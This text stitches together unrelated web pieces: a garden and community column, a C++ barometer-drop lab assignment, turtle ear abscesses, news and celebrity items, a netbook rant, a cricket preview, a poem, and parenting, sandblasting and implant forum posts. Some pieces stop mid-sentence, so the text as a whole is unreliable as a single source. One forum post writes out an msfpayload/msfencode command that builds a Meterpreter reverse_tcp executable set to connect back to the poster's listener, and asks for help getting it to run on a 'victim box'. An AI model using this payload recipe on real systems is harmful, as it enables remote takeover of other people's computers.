I had lunch with a junco today! I was at the kitchen counter and she was dining al fresco in the bird feeder under a lacy parasol of white dogwood blossoms. We didn't speak — the kitchen window was in the way — but we sort of nodded at each other before beginning to eat.
This was one of the few juncos I've seen this spring. There have been a number of purple grosbeaks (why are they called purple when their coloring is fuchsia pink?), sparrows and a finch or two, but that's it — except for the ever-present blue jay. There was a whole flock of cedar waxwings about three weeks ago who wouldn't approach the feeder because Gardener John and I were sitting on the nearby porch steps talking, so they sat in the hawthorne tree and yelled at us until they got tired and went off. I was sorry — I love cedar waxwings.
This spring has brought some delightful surprises. The Siberian iris which have not bloomed for several years are four feet high and ruling in brilliant purple over their neighbors. And the New Zealand dogwood which John gave me a number of years ago has, for the first time, put out the little green blossoms it's supposed to. Tulips and regular iris have been flaunting themselves, and I've had better luck with pansies than I've ever had. I'm not asking questions; I'm just enjoying!
Friends of the Earth have put out a promotion about saving bees, which are vital to pollinating crops of all kinds, and which have been decimated by some sort of disease. They are asking everybody to ask the local stores that sell gardening supplies not to carry products containing neonicotinoids — and a number of popular brands do — because these chemicals kill bees.
Among the lengthy list of blossoming plants which will attract bees are aster, black-eyed Susan, currant, huckleberry, goldenrod, Oregon grape, penstemon, purple coneflower, rhododendron, sunflower, and willow. There are also a number of wildflowers listed. We all should plant at least some of these and help out one of our most valuable species. Check out BeeAction.org.
One of Lodi's older and most contributory organizations is on the verge of having to give up its charter because of the lack of members — and younger ones. I'm talking about the American Legion Auxiliary, which has supported the Legion and its projects even while carrying on some important ones of its own, such as Girls' State, a vital program for local high school junior girls.
Every year, one candidate and two alternates are chosen from Lodi, Tokay and Bear Creek high schools to go for a week to Claremont to learn about how our government works. Room and board is $400 per person, provided by the Auxiliary. The girls have to provide their own transportation.
Other projects include sales of red poppies during Poppy Week, funds from which go toward food supplies for veterans' canteens at both Livermore and French Camp, and raising funds for poinsettias which Legion members deliver to veteran shut-ins. Auxiliary members also serve lunch at LOEL Center on the first Monday of every month.
The Auxiliary to American Legion Lodi Post 22 began a few years after the Post, which was established in 1922, and really came into its own after World War II, when wives of returning servicemen wanted to see that these men's needs were met. Nowadays, membership is open to wives, mothers, daughters, grandmothers, aunts, nieces and adopted daughters of veterans.
There are only five active members (out of 44) of the auxiliary now, and they are in their 70s and 80s. Clearly, there is a need for younger women related to veterans to come on board and help keep this worthy group going. There are so many veterans now who need all the help they can get. Call the Legion office at 209-368-1420 to sign up. You'll be glad you did.
Safety note: Keep your bicycles safely out of street sight in your garage. I had a friend who had two bikes stolen in just few minutes when her husband left the garage door open and went in the house to get something. Fortunately, she had the registration numbers written down. These numbers make the bikes easier for the police to find.
Second note: When putting a new registration sticker on your car's rear license plate, be sure to peel off all old stickers and, when the new sticker is on, make two crossing diagonal cuts in it with a sharp knife. Anyone trying to peel it off will have a hard time coming away with just a quarter of it.
And two to end with: I am thankful for my shadow which watches me work because it means that I am out in the sunshine. — Nancy J. Carmody

Best Street Photography of 2005
In 30 years of work on the frontlines of communities around the world, PPS has depended on photographs as an essential tool for helping people think creatively about the possibilities of a particular place. We learned this tactic from PPS's mentor, William H. Whyte, who spent years documenting New York life on film as part of his pioneering work on how people use public spaces. PPS staffers tote a camera almost everywhere they go--including vacations and lunchtime strolls to the deli--keeping an eye out for scenes that best illustrate what makes places succeed or fail.
...Project for Public Spaces has amassed more than a half-million photos from our explorations through back alleys, piazzas, Main Streets, souks, town squares, walled cities, foodhalls, train stations, strip malls and almost everywhere else."

Snowfall predicted across the state!
Posted by web master2 on December 7, 2011 11:50 AM EST
Looks like we have more snow due across the state!
Looks like we have more snow due across the state! A predicted snowfall of 4"-8" across the state should open up more trails and provide a nice base for the opening of several resorts predicted to open between the 7th and 10th. The chance of another snowfall later in this week should prove exciting, bringing sweet weekend conditions.
Have you made it out to the slopes this season? If so, what was it like? We want to hear from YOU on your experiences over the winter.

| ---- begin sample run ----
Drop your barometer.
How long was it until you heard a crashing sound (in seconds)? 2.5
Your building is 30.65 meters tall.
Now, you do realize that barometers are filled with mercury,
right? Call the EPA NOW!
---- end sample run ----
1. Write out your pseudocode for how you are going to implement
this program. Your pseuedocode should include a listing of the
program's inputs, outputs, and the steps it performs. Also,
during this part of the program, you'll want to identify the
proper variable types for your inputs and outputs.
2. Set out a series of test cases (at least 5). Test cases should
include a series of example inputs and the expected
outputs. (see hints for how to do the math)
3. Using your favorite text editor, type out your pseudocode and
test cases into a text file named "lab2-2-test". Submit this
file using the turnin program:
~relowe/turnin lab2-2-test
By the end of class on Wednesday 1/30/2013
4. Write your program in c++. Compile it, test it. Once it all
works create a typescript file named "lab2-2-run" which contains
the following:
- A listing of your source code. (hint: use cat)
- Running your compile command so I can see your code compiles
without errors or warnings.
- Sample runs of your program for each of your test cases.
Be sure to type exit after you have generated all your output.
Turnin your script file using:
~relowe/turnin lab2-2-test
- We want to make the program give output in meters. Therefore, our
gravitational acceleration constant is g = 9.81 m/s^2. I would
recommend creating a constant for g.
- C does not have an exponent operator, therefore t^2 should be
written as t*t.
- The above example was computed as follows (in algebra, not C++):
d = (1/2) * 9.81 * 2.5^2
= (1/2) * 9.81 * 6.25
= 30.65625
|Part II: Improving the Barometer Drop (self lab)
The professor, angry at the loss of his favorite barometer, was less
than patient when his wayward pupil returned. "You chowder head!
That barometer has been in my family for over 4 generations!", he
said. The boy replied "Sorry, but I was so excited, I also wrote
this program to go with it." Never missing a chance to read good
C++ code (I mean, who would pass it up?) he read over the work of
his student.
"Hmmm, this code is good. Not bad for a first attempt." the
professor said. "What do you mean not bad?", the student replied.
"Well, I would prefer if it could solve more aspects of the problem
at hand. For instance, we live in the US, and thanks to the
failings of Jimmy Carter, we still use the imperial system. It
would be nice if it could work in either imperial and SI units.
Also, it would be great if it could predict the number of seconds of
a fall from a given height, as well as the final velocity of the
The student thought it over for a second and said "Well, it would be
easy enough to store some choice variable about units. But what
about the other parts?" The professor went to the board and wrote
out several formulas in almost legible handwriting. He, of course,
quickly erased them, but our intrepid student captured them! After
all, he knows that you have to be quick on the draw to capture
professorial notes!
1 2
d = --- gt
| 2d
| ----
t = \| g
v = gt
Also, he noted something about g being different in imperial units
than it is in SI units. Unfortunately, the professor was too quick
with the eraser for him to capture that one. Oh well, that's why
google was invented!
We are going to modify your barometer program from lab 2. If you
haven't finished it yet, please take this opportunity to get caught
up. I will still give you credit for it, so long as you get it done
by the end of this lab. This will be the last such extension,
though future labs will include more time.
1. Modify the design of the program from last time to account for
the change in requirements. Below is a sample run to illustrate
how the changed program should behave:
---- begin sample run ----
Will you be working in:
1.) Metric
2.) Imperial
What mode will you want?
1.) Height in terms of time.
2.) Time in terms of height
Drop your barometer.
How long was it until you heard a crashing sound (in seconds)? 2.5
Your building is 30.65 meters tall.
The final velocity of the barometer was 24.5 m/s.
Now, you do realize that barometers are filled with mercury,
right? Call the EPA NOW!
---- end sample run ----
Note that the final velocity is always printed, and it should
display the proper units.
Submit your design by the specified due date. Be sure to include
adequate test cases in both metric and imperial units for both
modes of operation.
2. Modify your code to allow for these changes.
3. Generate a script file containing a listing of your source code
(cat), your compile line (g++), and the runs of your program for
all of your test cases. Submit it by the due date listed above.

Turtles, especially box turtles and aquatic species, are at risk for developing ear infections. Because a turtle's eardrum is located on the outer surface of its head, infection is trapped underneath the membrane and forms an abscess.
Symptoms and Types
- Swelling or bulging of the ear drum
- Thick pus may be visible through the ear drum
- Pain when the mouth is opened
- Unwillingness to eat
The underlying causes of aural (or ear) abscesses are not completely understood, but some cases develop when turtles are forced to live in dirty environments, are exposed to improper temperature and humidity levels, and/or do not receive adequate amounts of vitamin A in their diets.
Veterinarians diagnose aural abscesses based on a turtle's symptoms, a physical exam and medical history.

Referring to the ear.
Any drug that kills organisms in an animal's tissue or prevents the growth of more.
A localized infection, usually a lesion filled with pus. Can be large or small in size.

On January 16, 2010, our church building was destroyed by an arsonist.
On June 26, 2011, we celebrated the first service in our new facility.
Between those
two dates, we learned a lot of things...
We learned
that our God is bigger than any torch or tragedy. He has protected
and preserved us for a reason -- and that reason is so that we might
serve Him. We learned that the church is far more than a building.
Buildings can be destroyed, but the church cannot. But most of all,
we came to understand what the apostle Paul meant when he wrote
in 2 Corinthians 4:8-10:
hope this website will help you get to know us better, and will
give us the chance to show you what we mean when we say, "At
Tyland Baptist...You Are Loved!"

Gilpin man's death under investigation
Authorities are investigating the death of a man whose body was found Saturday morning under the Leechburg Bridge, the Armstrong County coroner said.
Fishermen saw John R. Fouse, 43, of Gilpin face-down under the bridge about 10:50 a.m. He had recently moved to the area.
Police said Fouse had left his house about 10:10 a.m. and bought a bottle of soda at a store. Police said he might have collapsed sometime between 10:30 a.m. and 10:50 a.m.
Coroner Bob Bower said an autopsy found no injuries and that Fouse's death was consistent with natural causes, although toxicology studies are pending.
Leechburg police continue to investigate. Anyone who saw him before 10:30 a.m. or after 10:50 is asked to call Leechburg police at 724-842-8531 or the coroner's office at 724-545-1011.

I am considering transitioning my 22 month old out of his crib and into a bed. The reason for doing so now is that he recently climbed out of his pack n play at daycare and so I am worried he will get out of his crib, too. At daycare they switched him to a sleeping bag on the floor and he handled this transition with no problems.
My concern comes in that he has never been a good sleeper and has resisted sleep from the day he was born. He hates sleeping alone, and often wakes during the night. I am worried about transitioning a kid who does not sleep through the night regularly and who is very sleep-resistant.
I am looking for any tips or advice from those of you who have made the switch. Should we wait? Why or why not? And, any advice for making a smooth tranistion?

ASTM Honors Engineer for Work on Sheet Steel Standards
Robert Puccia has been honored for his contributions to keep similar steel sheet specification standards managed by both A01 and A05 in close harmonization.
Robert Puccia, senior metallurgical engineer at ArcelorMittal USA, has received the ASTM International (Conshohoken, PA) Award of Merit from Committee A05 on Metallic-Coated Iron and Steel Products. The Award of Merit and its accompanying title of fellow is ASTM's highest organizational recognition for individual contributions to standards activities.
A member of Committee A05 since 2003, Puccia is a member at large on the A05.90 Executive Subcommittee. He is also a member of Committee A01 on Steel, Stainless Steel and Related Alloys, where he works to keep similar steel sheet specification standards managed by both A01 and A05 in close harmonization. In 2012 A05 honored him with the Kenneth J. Boedecker Jr. Distinguished Service Award for his exceptional work.
Puccia joined Inland Steel, East Chicago, Indiana, in 1981 as a metallurgical engineer. Since that time, he has worked in levels of increasing responsibility, including roles as project, senior and senior staff metallurgist through numerous company consolidations and the transition of Inland Steel to ArcelorMittal. A specialist in quality and process/product control of steel sheet products, Puccia assumed his current role in the Commercial Support/Corporate Quality division at AcelorMittal in 2006.
A graduate of the Polytechnical Institute of New York University, where he received a bachelor's degree in metallurgical engineering, Puccia also holds a master's in engineering management from Northwestern University. Outside ASTM, he is a member of ASM International (the American Society for Metals), Sigma XI, the Scientific Research Society, and the Society of Automotive Engineers.
ASTM International is one of the world's largest development and delivery systems of standards and related products and services. ASTM International meets the World Trade Organization (WTO) principles for the development of international standards: coherence, consensus, development dimension, effectiveness, impartiality, openness, relevance and transparency.

Well, yes, you will need a 3rd NIC to be able to use bridging. One interface
(LAN in your case) will not be used, except maybe for accessing the webgui,
but you can do that via ssl (https) over the bridged interface too, if you
create the right rules.
Also, you will need that 3rd interface to be bridged with the WAN interface
in your situation.
In the current version (pb27), you are able to assign the interfaces in

• behoove •
Pronunciation: bee-huv • Hear it!
Part of Speech: Verb, transitive
Meaning: No, this isn't what the blacksmith does. In fact, this word has two meanings completely unrelated to trotters. 1. To be appropriate for, to oblige, to morally require. 2. To benefit, to be beneficial.
Notes: Today's Good Word is used mostly in a crystallized phrase, "It behooves X to . . . ." In this respect, it resembles a near synonym, incumbent, which is used almost exclusively in the phrase "It is incumbent upon X to . . . ." So, if we are behooved to improve our speech as much as possible, it is incumbent upon us to do so, as well. Anything behooveful is beneficial, as honesty is behooveful in most cases. In parts of Britain, you have the option of ignoring one of the Os and write behove.
In Play: At this point, it behooves me to offer a few examples of today's word: "We are all behooved to behave rationally now that Mr. Chance has passed away and devise a fair way to determine who gets his parking space." That is, it is incumbent on everyone to behave rationally. It would seem to behoove most teenagers, however, to behave as rebelliously as possible.
Word History: Today's word is an English original from Old English behofian from a Germanic compound bi-hof "obligation." The original root meant "grasp, seize", similar to the ligature (binding) implied in the word obligation. In the Germanic languages it went on to indicate possession in such words as have. In Latin it appears in capere "to seize". This verb's past participle, captus, underlies English capture and captive. In Old French this verb became cachier "to chase", a verb English reworked into catch. (It now behooves us all to thank Loren Baldwin for suggesting today's rather unusual Good Word.)

Pink Floyd Confirms 'Endless River'
Listen to Pink Floyd Radio on iHeartRadio
A new Pink Floyd album is on the way. A message on the band's website confirms the upcoming set, titled The Endless River, is due in October.
The album is described as "mainly ambient and instrumental music based on the 1993/4 'Division Bell' sessions." Band members David Gilmour, Richard Wright, and Nick Mason are featured on the album, while Gilmour is also co-producing the disc. They're expected to reveal more details on the project later this summer.
The Endless River will be the first Pink Floyd album in 20 years, following 1994's The Division Bell.
Word surfaced about the album over the weekend via social media. Gilmour's wife first mentioned The Endless River in a tweet Sunday. Former Pink Floyd touring vocalist Durga McBroom-Hudson then offered a little more information via Facebook.

Joe Budden was in trouble after he allegedly beat up his girlfriend. The cops were actually looking for him after it was reported her cell phone had been stolen. Wait, so the cops weren't looking for him for the domestic violence? According to TMZ, he surrendered to the police on Wednesday where he was charged with robbery and grand larceny over the phone. But can you believe after he turned himself in, he tweeted "I'll be out in time for the strip club later"? This dude needs help for real! Call Iyanla.

"Clueless" Stars Reunite on "GMA"
Teaming up with Entertainment Weekly for their "All-Star Reunion Blowout" issue, "Good Morning America" welcomed Alicia Silverstone, Breckin Meyer and other "Clueless" stars during a taped segment on Friday (October 5).
Reuniting after 17 years, the former co-stars opened up about not understanding parts of the movie during filming as well as the death of their co-star Brittany Murphy, who tragically passed away three years ago.
Although Alicia's character was equipped with a fashionable wardrobe, Miss Silverstone admitted, "I didn't understand fashion at all. I had 60 changes, I was so tired, and I didn't understand why I had to keep having fittings so I kind of hated them, but then when I saw the movie I was like, 'I understand!'"
When the conversation turned to the death of Brittany Murphy - who also starred in "Clueless" - Justin Walker recalled, "She was so so so genuinely sweet. I couldn't believe it was real."

Property was very nicely set up and in a great location especially for families with children. Unit is within walking distance of water park, boardwalk and an arcade. Angelo and Deborah were great to deal with. Planning to return next year.
The property was fabulous. Well maintained. Great access to the beach, boardwalk, rides and great restaurants. The roof top patio was great for fireworks night . The pool was an added bonus. The elevator was great for the handicapped family members. The caretaker was very welcoming.
My family had a great time at the Condo. Clean, close to everything, pool, hot tub and plenty of room for my entire family. Thanks to Angelo and Debbie for all their help. We will be back soon. A Great week
My family and I loved this home! We couldn't have asked for more, it was in a perfect location, it was clean and comfortable. After years of disappointing rental properties, we have finally found a gem! In addition to being so close to all the action of the boardwalk/beach, the condo boasts so many great amenties including a pool. Trust me when I say, that having a two year old and a pool made for a more relaxing vacation then a hectic/sandy trip to the beach! Angelo and Deb have a wonderful home and we were so excited that they shared it with us for our vacation! We hope to return next year!
Have to admit at the beginning me and my friends (6 adults + 4 kids) were scared about this way of renting house... However Debbie and Angelo were dedicated to answer ALL my questions and turn out to be one of our best summer vacation...
Condo was way above our expectations. Luxury appliance (Viking oven and refrigirator, cellar, own elevator, etc) Each room as it owns and full bathroom. Everyone had his own privacy.
We enjoyed the beach everyday, they are ton of activities to do around without driving, kids enjoyed the boardwalk to play games... We took the car only to go to the grocery.
Watching fireworks on the top desk was magic. Also we had diner on the top deck and watching sunshine while eating was great memorable moments.
Also Debbie and Angelo were really professional. They gave us a tour of the house and they gave us also about 10 ways to reach them or members there family in case of question or emergency. Good great and we felt secure.
Sorry for typo... my first language is Frech.
Wednesday night fireworks seen from the roof top patio....morning coffee on the 2nd fl deck listening to the breaking waves & seagulls, while the breakfast bacon sizzled on the elec grill.....building sandcastles on the beach......afternoons by the refreshing pool..........Ahhhhh, we didn't want to leave.
Debbie and Anthony thought of everything. You don't have to pack up your whole house to stay here. Its all there....Beach chairs, blankets, & passes, comfy beds, linens, & towels, washer & dryer, spices & condiments.....need i go on.
My fiance & I, along with our 7 kids (kids ranged from 5 to 20) all had a fabulous time. The location is awesome. Boardwalk & beach is right there.....waterpark is one block over....we only took the car out of the garage to go grocery shopping. Staying in was also a treat. Kids enjoyed the Playstation or playing in their rooms. Every room is very spacious, comfortable, and clean. No one was ever on top of each other, unless you took part in the tickle war...lol.
I can't say enough nice things about the townhome and about Debbie & Anthony. They are very nice and welcoming. I definitely recommend it. 100% worth it.
Luxurious & new 5-level, four bedroom beach townhome located just across the boardwalk. Three-car attached garage on ground level, living area with kitchen & patio on 2nd level, 2 bedrooms each with own bath on levels 3 and 4 (sleeps 8-10). Patio roof deck (level 5) with beach/ocean view. Must see!

Once again, IT execs want to kill the People's Choice of Computing, the netbook. Over and over we hear from IT people that netbooks are terrible and we should buy a "real" computer. Now Datamation asks Is the Netbook Dead? Ha! It Never Existed! and tries to throw more cold water on the hottest and brightest hardware sector.
This time, the story is netbooks aren't special because small, light computers have been around for years. True, but the wealth of Software as a Service applications combined with constant wireless access makes netbooks the tool of the future. Power-sipping but media-savvy chips make netbooks far better than any "ultraportable" laptop that came before.
The smart IT people who have been ruining technology for years and years now want us to forget about netbooks and get excited about "smartbooks" which is a netbook type device made for cell phone companies. This is supposed to be an improvement? Let me count the ways this sucks.
First of all, netbooks have the ability to add mobile broadband capabilities, and some higher end models come with this feature. But the majority of netbooks never touch a cell phone carrier network and their owners don't want to pay those prices. Yes, they're great for road warriors, but coffee drinkers and casual home and office users find WiFi does what they need and costs far less.
Second, no one will use a phone with an nine inch screen like the smartbooks will likely have. People will always carry their phone, and sometimes carry their netbook. No FrankenDevice will cover both needs.
Third, smartbooks will use cell phone CPUs with cell phone operating systems. While cute, do you want to fight Windows CE all day for important computer work? Part of the appeal of a netbook is the ability to run regular software as well as go online for applications.
Finall y, who wants the cell phone providers to dictate how we use our small portable computing devices?Don't cell phone carriers always rate at the top of the "Companies We Hate" surveys? Forget Dell and HP and trust our portable computing to Verizon and Sprint? No thanks.
Hey, IT executives, lay off the netbooks. Real people like them, real people use them for real work, and the more you yammer about how terrible they are, the more you become irrelevant.

Colombo, Oct 6: Here are two teams desperate for a global trophy. The wait for one of them will end on Sunday with the ICC World Twenty20 2012. The other has to swallow the disappointment and carry on their quest for ICC silverware.
Sri Lanka and West Indies have long waited on the international cricket scene to stamp their authority with a World Cup. But Sri Lanka kept faltering at the final hurdle while West Indies have just made up the numbers in those events.
Now the times have changed. With Chris Gayle at the fore, West Indies are set to regain lost ground. Their last major success came in 2004 with the Champions Trophy in England. For Sri Lanka it takes them back to 1996 when Arjuna Ranatunga lifted the World Cup in Lahore, beating Australia.
But since 1996, Sri Lanka have been the most consistent team in world tournaments. They reached the 2007 and 2011 World Cup finals only to return home as the second best team. In between those two, they again could not clear the final obstacle in ICC World T20 in England in 2009, losing to Pakistan.
On Sunday, in front of adoring home fans at R Premadasa Stadium, Mahela Jayawardene and his men will have a great chance to end 16 years (in between India and Sri Lanka were joint winners of Champions Trophy in 2002) of drought. But one man is capable of spoiling that dream. That man is none other than Gayle.
In his own style, the left-handed explosive opener has said the Cup is theirs. "World Cup is definitely ours, sorry Sri Lanka, but I think it is our World Cup. The support will be more for West Indies on Sunday. We love Sri Lanka, but sorry, it is going to be West Indies all the way. The final will be a good final but we will be on top, definitely," Gayle said after leading West Indies to a crushing 74-run over Australia in the semi-final on Friday night.
These two teams had met in the Super Eights and that was won by Sri Lanka. Past results, history and crowd will have no effect on a Super Sunday as it will be a fresh start with both outfits charged up for the final.
There are interesting mini-battles inside the big one. Gayle will be up against Lasith Malinga and Ajantha Mendis. This looks a mouth-watering prospect. Sunil Narine will be bowling to some of the best batsmen who play spin very well.
It is difficult to pick a winner from this but the presence of Gayle certainly tilts the scale towards the Caribbean side. But if the big man fails on the big day, they could be bidding goodbye to the Cup.

Beat Pakistan by 16 runs

God Of Thunder - Poem by Cathy Hodgson
1Lost without her love, clouds gather darkest pain
Singing her death song, took her on a voyage of strain
The waves they toppled her into The Niagara River
Cold water took her under with her last shiver
2Floating to the crest of the falls in a sad state
Heno the God of Thunder took concern of her fate
With delicate hand she was cared for by his youngest son
Who fell in love with the sweetness, of her heart he won
3Legends filled Niagara with joyful enchantment thoroughly under
Oh how their marriage overjoyed the god of thunder
Soon another jubilant fascination took them by surprise
Part human and god would be born from their loving rise
4Born to them a male baby who loved his grandfather best
The grandfather loved all of his new family and felt blessed
The maiden missed her tribe yet was a very happy wife
Until one day chanced a serpent who would stir up some strife
5A great snake came down the river and poisoned the water
He settled in to feed on the people like a great squatter
The Maiden ask if she may go back to warn her adored
And with the soft heart of a grandfather he did accord
6With his hand in the middle of her people he sat her down
She told of the serpent and how they would be a ghost town
The people decided to pack up bound for a life to roam
Heno himself came and took her back to her new home
7When the serpent went to feed his mouth hissed foam
The serpent was determent, turned upstream to comb
Heno heard the might roar of the serpents raged voice
Heno threw a great thunderbolt and it died in the hoist
8The body of the serpent floated down stream
It created a large circle at the falls seam
it caused huge amounts to fall over the god's home
Horrified by this disastrous turn of events he moan
9Heno swept in through the falls and did his best
to stop the massive influx of water, but he arrest,
to the destructive plight of his most loved home
Heno call the maiden and his sons to comb
10Calling for them all to come away with him
and up to the sky where there was no brim
The mighty Thunderer made them all a new home
From above he could watch and the people roam
11Now he thunders in the sky as once he thundered
Behind the great falls, until that disastrous blunder
There is still the legion of Niagara Falls to be told
For his echo still rings from behind the falls bold!

Parents of ADHD Children
So many differences in ADHD kids I meet
My daughter has ADHD- NO learning disorders but HIghly Highly IMPULSIVE. She lies, she steals, she does not respect the property of anyone in the house. She cut her hair last night and caught the wrath of hell and then she went to school and cut her hair again. Mind you, she is highly intelligent ad extremely competitive. We enrolled her in softball , which she is very good at and I think it makes her feel good that she is very good at it.
I feel as though her outburst and emotional stuff is tearing the family apart, probably me more than anything as I am the stay at home parent with a pilot husband that is gone 3-4 nights a week. I am so stressed out that I feel myself pulling away from my daughter and haven't the strenght to keep up with battling her.
I have tried all sorts of discipline, At one point in the stealing from stores saga, I got a refrigerator box and removed everything from her room and told her that she had to earn EVERYTHING back, excluding school uniforms.
She makes zero effort to conceal the evidence that she broke rules. She litterally will put on earrings that i said she can not borrow and then come ask me how I like her outfit (with my off limits earrings)
She can go from being in the worst level of trouble to can I have ice cream? IN A MATTER OF MINUTES.
Meds- We have tried Vyvance, concerta and Focolin. Focolin as the worst it made her very aggressive and angry. She has lost way too much weight with Vyvance and we are finally seeing a neuro at All children's and I hope to get a script for intuition. Does anyone relate to these things or am I looking at something more than ADHD?

Does fsck handle NTFS? If not, can you chkdsk the drive in Windows
please? I think that the fs was marked dirty but the crash wasn't
catastrophic enough to make windows cringe and blow up.

May I suggest you disable some options in the Dolphin folder view? I
believe the button here is F11 to stop the "places" section of the fs
browse window in KDE. I have reported the bug but I believe the KDE
guys think that it only has to do with networking...unfortunately a
lot of the "features" should still be in beta for performance reasons
and as well as reliability issues when using devices that aren't fully
sane.

I have passed on a LOT of debugging and sent a test plan to the KDE
guys/gals regarding these bugs and in my opinion should only be
included in "Alpha" software and never considered "release"; ever. You
may also consider disabling preview as well but I believe that your PC
may have choked on satisfying one of the "places", "preview" or
another feature of the browser window that I have since forgotten.

Brodey

.i'm trieing to look back at the phoenix910 post, it's about encoding the payload ,meterpreter reverse_tcp and executing it on the victime box
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe
.no problem with bt3 and ./msfencode .the output.exe works fine ,and the victim connect back
.but the same output.exe that was encoded on the bt4 pre, same command used, it's not working!
.in the first place i thought it was some problem with the nat or some iptables rulez .but i run packetyzer on the victim box and no packets has been sent, no connection tried
.tried with updated msf but no good.
.the funny part is ,that the old output.exe that was encoded on a bt3 works on the victim box and connect back to bt4pre, with multi/handler started ,with the options set (LHOST=192.168.1.2 LPORT=5555)
.that could be the problem with the encoder or something, maybe ruby lib.s
.any ideas?

To colorful piano men like Morton, these keyboard stunts -- as well as the unusually piquant chords and complicated rhythms that went with them -- represented hard-won techniques to be protected, not shared.
By the 1910s and '20s, however, sheet music was becoming the hot commodity in America. Upwardly mobile families aspired to have a piano in the living room or parlor, and sheet music was an essential accessory, with popular ditties selling millions of copies.

Failures of supply, faults in the tubing, and imperfect appliances for use at the mills combined to make the new fuel troublesome.
He looked at the Goldburgian device he had made out of wire and tubing.
The two pieces of tubing to be used each have one end cut square and the other sealed in the usual manner.
The outside diameter of this tubing should be the same as the size of the bit used.
Cooling water enters the condenser through the tubing shown attached to the condenser at the lower right-hand edge.
The tubing is well washed, rinsed with alcohol, and carefully dried.
If it does there is a leak of air in the system of tubing and arm bag.
One-half of the tubing for a portion of its length is removed, as shown in Fig. 1.
The tubing is a block tin pipe, encased with iron, eighty-five feet in length and two inches in diameter.
Some tubing has occasional knots or lumps of unfused material.
1610s, from Middle French tube (mid-15c.), from Latin tubus "tube, pipe," of unknown origin. The London subway was christened the Twopenny Tube before it even opened (H.D. Browne, in the "Londoner" of June 30, 1900); tube for "cylindrical railway tunnel" is attested from 1847. The meaning "TV as a medium" is from 1959, short for cathode ray tube or picture tube. Tube top as a women's clothing style is attested from 1972. Tube steak is attested from 1963 as "frankfurter," slang meaning "penis" is recorded by mid-1980s. Tubing as a recreational pastime is recorded from 1975.
tube (tōōb, tyōōb)
A hollow cylinder, especially one that conveys a fluid or functions as a passage.
An anatomical structure or organ having the shape or function of a tube; a duct.

Soda blasting? Media blasting?
I have a set of wheels for my car that need to be stripped; they were painted by the previous owner and have since been scuffed by tire mounting and such to the point that I want to remove all the paint from the wheels.
My brother-in-law has a small media blaster of some type at his shop, but he is a very busy guy. I'm wondering if I could figure out how to blast the paint off these wheels for myself.
Soda seems like a safer material to use, but I don't know if it will be stout enough to get the paint off.
Anybody got any experience with soda or media blasting?
I can borrow a smallish compressor and wouldn't mind buying some attachments to try this myself.
It's a piece of cake. Point and spray. Start with the less abrasive media and if it doesn't cut it move up. If it isn't in a cabinet make damn sure to wear a mask and glasses.
Playsand in the bag should work fine on wheels, i think the pressure used makes as much difference as the media used--Experiment ;)
DO NOT USE PLAY SAND. Silica sand is especially harmful when used in a sandblaster. While you are not going to get THAT much just doing one set of wheels, once you get silica in your lungs, there is no way to get it out.
And I can tell you that silicosis is a crappy way to die- my dad had too many years running a rock drill w/ no dust collector.
Soda should work. Or sub it to someone that has the right equipment to bead blast them for you.
BTW, the reason that we use Black Beauty (coal slag)- no silica.
Does anyone still use wallnut shells? I had heard that it works great. But I have no first hand experience with it.
another factor to consider is the air supply or source. most sand blasters require lots of air volume. blast cabinets usually use lots of air volume, but not a lot of pressure depending on the material used for blasting and the item being blasted.
external sandblasters use lots of air pressure and volume and waste lots of blasting media.
the wheels being blasted, as to what they are made of, how much paint or rust is on them will determine what blasting media you need to use. inquire at some body shops that do restorations for ideas as to what to use. lots of places that do powder cating usually have their own media blasting equipment.
might be safer and cheaper to just find someplace that does this type of work and farm it out.
Thanks for the info guys!
I'm going to check out the equipment my BIL has & decide afterwords.

How long I got C3? :(
Your time was up six years ago.
We thought something smelled strange, but we did not want to mention anything......:p
Seriously, inhaling silica (takes really tiny particles to inhale, but rock drill and sandblasting produce that size) is equal to inhaling tiny glass knives. They scar the air sacs of your lungs- scar does not transfer oxygen. When it gets to the point that you cannot lay down to sleep, bacause you can't breathe laying down....

Tamil Nadu government made helmet compulsory a couple of months back. It indeed is a welcome move. Helmet saves you from head injuries - which happen to be one of the major reasons for death in bike accidents. The day had come, and I spotted 90 per cent of the people wearing a helmet. The traffic police were all excited to catch all those who didn't wear one – so that they can make some quick bucks in the process. And the next day the government said – the police should not harass people for not wearing a helmet - and the number of helmet users reduced.
I personally am for wearing helmet, and have never rode a bike with out wearing one. But then recently I spotted many traffic police assembling in groups on ECR, and few other important roads – fining people left, right and center for not wearing a helmet.
I 'admire' the way Tamil Nadu government cares about people's well being. The Hindu reported recently that some 8000 cases were registered for non-usage of helmets, and Rupees 1.4 lakhs was collected as fine – officially. But I don't know whether these buffoons still remember that the same government had also made usage of Meters compulsory in Auto Rickshaws a couple of months back! Does the Hindu have any idea about the money collected from these politician-run-auto-stands in Chennai? Why is that it is always the innocent citizen made the scapegoat for policies announced by the government of one of the largest democracy?
People slog their butts day and in day out, pay their taxes, buy vehicles on installments, pay their road taxes and these buggers stand at the corner of the road and fine them for not wearing a helmet. Of course it is their duty, but then why don't they do something that helps a layman – fine autos for not using meters, clear traffic efficiently, fine over-speeding vehicles, fine vehicles overloaded with animals, and help people crossing roads - the roads that doesn't have pedestrian crossing lane for kilometers together!
I think it is high time we stopped asking, what have we done for the government. We have done enough. Now we need to ask what has the government done for us?

I had silicone gel implants placed over the muscle 30 years ago. BEST money I ever spent and best decision I ever made! My implants were fabulous, no words to describe what they meant to my self-esteem but briefly, they made me feel feminine and that I could "compete" in every aspect of my life, from standing up for myself to not tolerating abusive relationships to assertiveness in the workplace and ultimately, following my dreams. Those ladies with "real" breasts don't seem to be able to relate; they've never been there.
Last year I noticed a big, hard lump floating in my chest. Imaging and exams revealed implant rupture. It was unsightly and painful. So I began consulting plastic surgeons to see what I could do. All recommended mastopexy (lift) and explantation with clean-up of the scar tissue that had built up around the implants. All but one wanted to do it as staged procedure, but I didn't want to undergo 3 operations, 3 anesthesias, 3 recoveries, and no WAY could I afford the cost of 3 separate procedures. I found a PS I really like who said no reason she couldn't do it as one (long) procedure. I researched her very carefully. She's a reconstructive specialist and that's who I wanted for my procedure, knowing I would benefit from her knowledge and experience, and I liked that she's a female, feeling she would better relate to how I felt and what I was hoping to accomplish. My first surgeon was a female, too.
Now the money! I'm low-income so didn't have the cash for the procedure. I refinanced my house and took out enough cash to have the procedure, $10K+. I scheduled my surgery and was SO EXCITED to have what I thought would be a "lift" since I really needed one after a long, painful year. I thought I would come out of surgery with new boobs, bigger and better boobs. I should have researched better!
